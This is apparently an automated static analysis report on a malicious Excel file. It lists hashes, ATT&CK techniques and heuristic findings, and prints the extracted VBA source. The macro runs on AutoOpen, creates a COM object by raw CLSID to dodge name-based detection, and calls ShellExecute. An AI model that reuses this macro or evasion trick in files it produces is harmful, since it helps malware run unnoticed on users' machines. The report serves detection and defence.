Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 90095f63687df9c6…

MALICIOUS

Office (OOXML)

12.8 KB Created: 2021-06-08 07:44:17 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-20
MD5: 016a1c2e78a11260d2d1230fcb00588d SHA-1: c5b86da48b451644e906c90cd8816485d3c8b3a9 SHA-256: 90095f63687df9c60a2178be7e6483364e3435b8f06ab76d2ef8167a1f4039e9
108 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel document contains a VBA macro that executes when opened (AutoOpen). The macro uses GetObject to instantiate a COM object with the CLSID {c08afd90-f2a1-11d1-8455-00a0c91f3880} and then calls ShellExecute to run an unspecified program. This technique is often used to download and execute a second-stage payload.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute , Null, 1
  • VBA instantiates a COM class by raw CLSID high OLE_VBA_GETOBJECT_CLSID_EVASION
    VBA uses GetObject("new:{CLSID}") to instantiate a COM class by raw CLSID rather than a CreateObject ProgID — an uncommon bypass of name-based macro detection.
    Matched line in script
        Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute , Null, 1
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 757 bytes
SHA-256: 46dfeb5182906ee17aa5811c1ed8dabd16342c77710faee2ffc65b1eb3a7002d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoOpen()

    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute , Null, 1
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 13824 bytes
SHA-256: dcc76a2c709111466135896dbe4e7115a2becc52ab6b1b0149b07feb243a0265

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